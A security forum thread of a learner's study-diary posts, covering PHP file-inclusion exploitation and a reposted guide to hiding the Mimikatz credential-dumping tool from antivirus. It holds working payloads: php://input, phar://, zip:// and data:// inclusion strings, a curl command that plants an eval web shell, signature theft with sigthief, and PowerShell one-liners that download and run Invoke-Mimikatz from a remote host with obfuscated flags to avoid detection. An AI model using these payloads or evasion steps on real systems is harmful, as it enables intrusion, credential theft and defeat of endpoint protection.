安全矩阵

 找回密码
 立即注册
搜索
楼主: Xor0ne

罗娇燕的学习日记

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-4-19 18:21:06 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-4-19 18:23 编辑

发现文章似乎有点太乱,额,,这个纯属意外,明天把内容填上。
回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-4-29 23:42:26 | 显示全部楼层
PHP文件包含漏洞-(可补充)

2020/04/28 每日一剂
参考链接:
[PHP文件包含漏洞利用思路与Bypass总结手册(一)](https://mp.weixin.qq.com/s?__biz ... =21#wechat_redirect)



##  0、环境

xmapp+火狐(带有hackbar)/burpsuite
(由于一些特殊的情况,比如有些在我的电脑上无法运行,所以还开了一个linux的虚拟机。)



## 一、 相关函数


php中引发文件包含漏洞的通常主要是以下四个函数:




##  二、函数功能


当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。




##  三、函数差异


###  1、include()函数
**include()函数包含出错的话只会提出警告,但并不会影响后续语句的执行。**


复现代码:
```php
<?php
        $file = $_GET['file'];
        include($file);
        echo "Error 404!!!";
?>
```

执行结果:



### 2、 require()函数
**require() 函数包含出错的话,则会直接退出,后续语句不在执行**
```php
<?php
        $file = $_GET['file'];
        require($file);
        echo "Error 404!!!";
?>
```








### 3、 include_once()和require_once()函数

**require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。**

- require()函数二次包含:(运行代码和示例结果如下:)
```php
<?php
        $file = $_GET['file'];
        //include($file);
        require($file);
        require($file);
        echo "Error 404!!!";
?>
```





- require_once()函数:一次包含(复现代码和示例结果如下)

```php
<?php
        $file = $_GET['file'];
        //include($file);
        //require($file);
        //require($file);
        require($file);
        require_once($file);
        echo "Error 404!!!";
?>
```






##  四、文件包含漏洞原因:


文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。




###  (一)、漏洞分类


以下除特殊外示例代码均为:


```php
<?php
        $file = $_GET['file'];
        include($file);
        echo "Error 404!!!";
?>
```

环境:php.ini

```php
allow_url_fopen 默认为 On
allow_url_include 默认为 Off
```



#### 1、LFI:本地文件包含漏洞


LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。同时借助此漏洞也可以查看服务器上的一些重要文件。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。


例如本地读取/etc/passwd系统重要文件。




#### 2、RFI:远程文件包含漏洞


RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但RFI的利用条件较为苛刻,需要php.ini中进行配置

```php
allow_url_fopen = On
# 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。


allow_url_include = On
# 该选项为on便是允许 包含URL 对象文件等。
两个配置选项均需要为On,才能远程包含文件成功


```


**修改php.ini**
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。





### (二)、 包含姿势


#### 1、 php伪协议


PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
可以在phpinfo中的Registered PHP Streams中找到可使用的协议。

> file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流



#####  (1)、php://filter


**php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。**

**参数:**





**过滤器列表:**


  1. 字符串过滤器
  2. string.strip_tags
  3. 转换过滤器
  4. 压缩过滤器
  5. 加密过滤器
  6. ***可用过滤器列表:<a href="https://www.php.net/manual/zh/filters.php" target="_blank">https://www.php.net/manual/zh/filters.php</a>***
复制代码



**利用条件:**无


######  利用姿势1

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。
虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。同时也能够对网站源码进行审计。





######  利用姿势2

效果跟前面一样,只是少了个read关键字,在绕过一些waf时也许有用。



##### (2)、file://


专们用于访问本地文件系统和php://filter类似都可以对本地文件进行读取。

**用法:**

  1. >/path/to/file.ext
  2. relative/path/to/file.ext
  3. fileInCwd.ext
  4. C:/path/to/winfile.ext
  5. C:\path\to\winfile.ext
  6. \\smbserver\share\path\to\winfile.ext
  7. file:///path/to/file.ext
复制代码



**利用条件:**无


**利用姿势:**




##### (3)、php://input


**是个可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。**

**php://input可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。enctype=”multipart/form-data” 的时候 php://input 是无效的。**

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)






**利用条件**:
```bash
allow_url_include = On
allow_url_fopen = On/Off
```


###### 利用姿势:


**A、火狐hackbar利用**(由于我的不知道咋的总没用,所以我就直接把原图附上啦!)
```php
index.php?file=php://input


POST:
<?php phpinfo();?>/<? phpinfo();?>
```



![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**B、使用curl 或者burpsuite进行利用**
```bash
curl -v "http://127.0.0.1/FI/index.php?file=php://input" -d "<?php phpinfo();?>"
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  Getshell
**A、curl写入**


这个我在win10上面不知怎么怎么老是无法写入,后来我便直接在虚拟机中运行,发现成功了。并且可以发现使用 curl后下面会出现一整个数据包。

```bash
curl -v "http://192.168.1.3:8081/test.php?file=php://input" -d "<?php fputs(fopen('file.php','w'),'<?php @eval($_POST[Qftm])?>');?>"
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
写入成功。
![在这里插入图片描述]()


**B、火狐+hackbar运行**


以下是win10运行的。指令如下:

```css
http://127.0.0.1:8081/test.php?file=php://input


POST
<?php fputs(fopen('file.php','w'),'<?php @eval($_POST[Qftm])?>');?>
```


######  file_get_contents()的利用


**file_get_contents()函数将整个文件读入一个字符串中。**

测试代码:
```php
<?php
$file  = $_GET['file'];
if(file_get_contents($file,'r') == "Qftm"){
    echo "you are Admin!!!";
}
?>
```



**利用条件:** 无


######  利用姿势:


A、curl运行
```bash
curl -v "http://192.168.1.3:8081/test.php?file=php://input" -d "Qftm"
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


B、火狐+hackbar运行

```php
file_get.php?file=php://input


POST:
Qftm
```



#####  (4)、phar:// (可能是由于版本等其他原因,,我怎么运行都没用。。。所以后面很多原作者图片)


参考链接:https://blog.csdn.net/xiaorouji/article/details/83118619


**phar:// 支持zip、phar格式的文件包含。**


##### Zip


**用法:**
```bash
?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]
```


**利用条件:** php>=5.3.0


######  利用姿势1


**配合文件上传漏洞,当仅可以上传zip格式时**

```php
index.php?file=phar://index.zip/index.txt
index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/index.zip/index.txt
```



**新建index.txt,使用zip格式压缩 -> index.zip**

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######   利用姿势2


配合文件上传漏洞,当仅可以上传图片格式时
**针对phar://不管后缀是什么,都会当做压缩包来解压。**

```bash
index.php?file=phar://head.png/head.txt
index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png/head.txt
```



将做好的zip后缀改为png格式
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


##### phar


**phar文件本质上是也一种压缩文件。**

**用法:**
```bash
?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]
```



###### 制作phar文件:


制作包含恶意代码文件的phar文件


**(1)确保本地php.ini中phar.readonly=Off**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**(2)编写恶意phar文件的php脚本**


**phar.php**
```php
<?php
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  //设置stub
    $phar->addFromString("head.txt", "<?php phpinfo();?>");  //添加要压缩的文件及内容
    //签名自动计算
    $phar->stopBuffering();
?>
```



**(3)生成phar文件**


```php
<?php
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
?>
```



![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**利用条件:** php >= 5.3.0


######  利用姿势1:
```php
index.php?file=phar://phar.phar/head.txt


index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.phar/head.txt
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


###### 利用姿势2:
```php
index.php?file=phar://phar.png/head.txt

index.php?file=phar://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/phar.png/head.txt
```



**利用协议特性,更改后缀文件可适当绕过一些限制。**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)








##### (5)、zip://


**zip协议和phar协议类似,都支持相对路径和绝对路径(几乎网上所有人都说zip协议不支持相对路径,事实上是可以!!!)
在php version 5.2.9时已经修复zip://相对路径问题**

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**使用zip协议,需将#编码为%23(浏览器时)
用法:**

```php
?file=zip://[压缩包文件相对路径]#[压缩文件内的子文件名]
?file=zip://[压缩包文件绝对路径]#[压缩文件内的子文件名]
```



**利用条件:**php >= 5.2(绝对路径) | php >= 5.29(相对/绝对路径)




######  利用姿势1
```php
index.php?file=zip://head.zip%23head.txt


index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.zip%23head.txt
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  利用姿势2


**针对zip://不管后缀是什么,都会当做压缩包来解压,可以适当的绕过一些限制。**


```php
index.php?file=zip://head.png%23head.txt

index.php?file=zip://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.png%23head.txt
```



**相对路径:**

php5.3.29 windows
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**绝对路径:**


windows
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




#####  (6)、bzip2://


**用法:**
```php
?file=compress.bzip2://[压缩包文件相对路径]
?file=compress.bzip2://[压缩包文件绝对路径]
```


**利用条件:** php >= 5.2


###### 利用姿势1:


```php
index.php?file=compress.bzip2://head.bz2

index.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.bz2
```

**相对路径:**

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**绝对路径;**


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  利用姿势2:


利用协议特性,更改后缀文件可适当绕过一些限制

```php
index.php?file=compress.bzip2://head.jpg

index.php?file=compress.bzip2://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


#####  (7)、zlib://


**用法:**

```php
?file=compress.zlib://[压缩包文件相对路径]
?file=compress.zlib://[压缩包文件绝对路径]
```


**利用条件:**php >= 5.2


######  利用姿势1:
```php
index.php?file=compress.zlib://head.gz

index.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.gz
```



**相对路径**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




**绝对路径**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  利用姿势2


**利用协议特性,更改后缀文件可适当绕过一些限制**

```php
index.php?file=compress.zlib://head.jpg

index.php?file=compress.zlib://D:/QSoftware/W3Server/phpstudy2019/WWW/FI/head.jpg
```


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




#####  (8)、data://


**数据流封装器,和php://相似都是利用了流的概念**


**用法:**

data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据


**利用条件:**
  1. >php >= 5.2
  2. allow_url_fopen = On
  3. allow_url_include = On
复制代码





###### 利用姿势1:
```php
index.php?file=data:text/plain,<?php phpinfo();?>

index.php?file=data://text/plain,<?php phpinfo();
```


今日基汤:
天高地阔,大有所为。






202/4/29 周三 每日一剂

这篇是昨天晚上写的,但是由于太困了就没有发上来。今天的话,感觉主要还是在安装哪个环境,,,唉,明天加油吧!


今日基汤:
我们所做的每一件事都是在向宇宙表达自己的真实身份。 ------《与神对话》





































回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-5-2 00:06:35 | 显示全部楼层
Mimikatz的18种免杀姿势及防御策略

2020/0502 周五 每日一剂  劳动节快乐!

只有你,才能决定你是谁,与其等别人来爱你,不如学着努力多爱自己一些。


----------------------------------  from my pc






PS:建议 :win10慎用,唉,伤心


然后按照里面的的步骤一步步去执行,有很多错误,所以如果您只是看技巧的话,可以去原文查看哦。或者读的时候略过我的错误部分啦。>_<


免杀介绍中方法【1-10】转载于自于:
[Mimikatz的18种免杀姿势及防御策略(上)](https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd)

文章目录
0x01前言
0x02免杀介绍
方法0-原生态mimikatz.exe(VT查杀率55/71)
方法1-加壳+签名+资源替换(VT查杀率9/70)
方法2-Invoke-Mimikatz(VT查杀率39/58)
方法3-使用Out-EncryptedScript加密(VT查杀率0/60)
方法4-使用xencrypt加密(VT查杀率2/59)
方法5-PowerShell嵌入EXE文件(VT查杀率15/58)
方法6-C程序中执行powershell(VT查杀率7/71)
方法7-使用加载器pe_to_shellcode(VT查杀率47/70)
方法8-c#加载shellcode(VT查杀率21/57)
方法9-Donut执行mimikatz(VT查杀率29/71)
方法10-msf加载bin(VT查杀率2/59)




##  0x01前言

Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具,理论上可以抓取所有windows系统的明文密码(winxp之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,本文主要是介绍一下mimikatz的一些免杀方式。


随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。


之前原作者写了远控免杀系列的文章https://github.com/TideSec/BypassAntiVirus/,里面有一些比较好玩的免杀姿势,然后原作者又从网上找到了一些针对mimikatz的免杀技巧,于是就有了这篇mimikatz免杀的文章。


本文所用到的相关工具和代码都已经打包:https://github.com/TideSec/BypassAntiVirus/tree/master/tools/




## 0x02免杀介绍


针对Mimikatz的免杀更多样化,因为Mimiktaz本身是开源的,对源码或者对exe都可以进行免杀处理。本文主要介绍了如下5类免杀方式,共18种免杀方法。


==本文虽然是针对Mimiktaz进行免杀,但更多的是想研究学习一下比较通用的exe的免杀方式,比如文中介绍的exe通用加载器、powershell执行exe、白名单加载exe等有几种方法可以适用于任意的exe免杀,如果只是针对mimikatz进行免杀完全没必要这么啰嗦的。==


  • - 1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂,打算另写一篇进行介绍,本文不多介绍。
  • - 2、无源码免杀。在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。
  • - 3、powershell免杀。因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。
  • - 4、加载器分离免杀。加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,在远控免杀专题中介绍过不少很好用的加载器,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了。所以这次针对mimikatz,专门找了几个比较通用的exe加载器,将exe转换成bin文件即可进行加载,没有格式限制,方法7到方法10就是介绍的这类免杀。
  • - 5、白名单免杀。白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了mimikatz的jscript脚本,这部分没有太多亮点,和之前写的远控免杀专题白名单篇基本相似。部分白名单加载方法借鉴了R1ngk3y的文章九种姿势运行Mimikatz(https://cloud.tencent.com/developer/article/1171183)。



### 方法0-原生态mimikatz.exe(VT查杀率55/71)


**PS:这个我没试,额,因为不知道咋个下手**


先测一下原生态的mimikatz在virustotal.com上的查杀率,以此来衡量其他的免杀效果。


可以从https://github.com/gentilkiwi/mimikatz/releases下载最新的mimikatz,最新版本为2.2.0(20200308),我这里都是以64位mimiktaz为例进行测试。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


开启360防护时会拦截

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


virustotal.com上查杀率为55/71。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


###  方法1-加壳+签名+资源替换(VT查杀率9/70)


这里先介绍一种比较常见的pe免杀方法,就是替换资源+加壳+签名,有能力的还可以pe修改,而且mimikatz是开源的,针对源码进行免杀处理效果会更好,这里不多做讨论。

需要几个软件,VMProtect Ultimate 3.4.0加壳软件,下载链接: https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取码: emnq


签名软件https://raw.githubusercontent.co ... imikatz/sigthief.py


资源替换软件ResHacker:https://github.com/TideSec/Bypas ... ikatz/ResHacker.zip


先替换资源,使用ResHacker打开mimikatz.exe,然后在图标里替换为360图标,version里面文字自己随意更改。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


安装vmp加壳软件后,使用vmp对上面的360图标mimikatz.exe问价进行加壳

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


使用sigthief.py对上一步生成的exe文件(即360图标的文件)进行签名。sigthief的详细用法可以参考https://github.com/secretsquirrel/SigThief  。
  1. ```bash
  2. <span style="font-size: 14px;">python sigthief.py -i D:\Windows_D\360safe\360safe.exe -t mimikatz.vmp.exe -o mimikatz.exe</span>
  3. ```
复制代码



![在这里插入图片描述]()


然后看看能不能运行,额,尽管原作者的360和火绒都过了,但是我的360没过(伤心)。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


VT平台上mimikatz32_360.exe文件查杀率9/70,缺点就是vmp加壳后会变得比较大。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


### 方法2-Invoke-Mimikatz(VT查杀率39/58)


当exe文件执行被拦截时,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它虽然是powershell格式,但由于知名度太高,目前也是被查杀的惨不忍睹了。


可以去PowerSploit下载,也可以下载我打包的:
  1. ```bash
  2. https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1
  3. ```
复制代码


将Invoke-Mimikatz.ps1放在测试机上,本地执行如下语句。(这里的话有限须事先用mimikatz和测试机建立一定的连接哦!)
  1. ```bash
  2. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
  3. ```
复制代码



杀软会行为拦截,Invoke-Mimikatz.ps1脚本也会被查杀。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


powershell脚本更方便的是可以进行远程加载


```bash
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz
```


不过由于raw.githubusercontent.com经常访问受限,所以可能会出现这种提示
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


所以,最后是把相关代码放在自己的vps上,我就直接放我的内网另外的pc上了。


powershell依旧会被360行为拦截。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


对可以尝试直使用下面的bypass方式,来自团队诺言大佬的文章内网渗透-windows持久性后门
```bash
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
```


不会触发powershell下载行为预警。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


virustotal.com上Invoke-Mimikatz.ps1脚本查杀率为39/58。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




### 方法3-使用Out-EncryptedScript加密(VT查杀率0/60)


参考:https://www.jianshu.com/p/ed5074f8584b


Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。


首先在本地对Invoke-Mimikatz.ps1进行加密处理:


先下载Out-EncryptedScript.ps1脚本,下载地址:



在自己的电脑上依次执行
```bash
powershell.exe

Import-Module .\Out-EncryptedScript.ps1

Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456
```


默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解。(PS:附上一张win10的图片的泪,唉 ~ ~,也不一定是win10的问题,因为我发现win8也是错的,我到时候再查看一下吧! )
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



**解决办法:**


**参考链接:https://www.cnblogs.com/NaughtyCat/p/5744543.html**


以管理员的身份运行powershell,然后输入
```bash
Set-ExecutionPolicy RemoteSigned
```

更改执行策略,就可以执行了哦。如下:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


将加密生成的evil.ps1脚本放在目标机上,执行如下命令:


```bash
powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")


[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec 123456
Invoke-Expression $decrypted
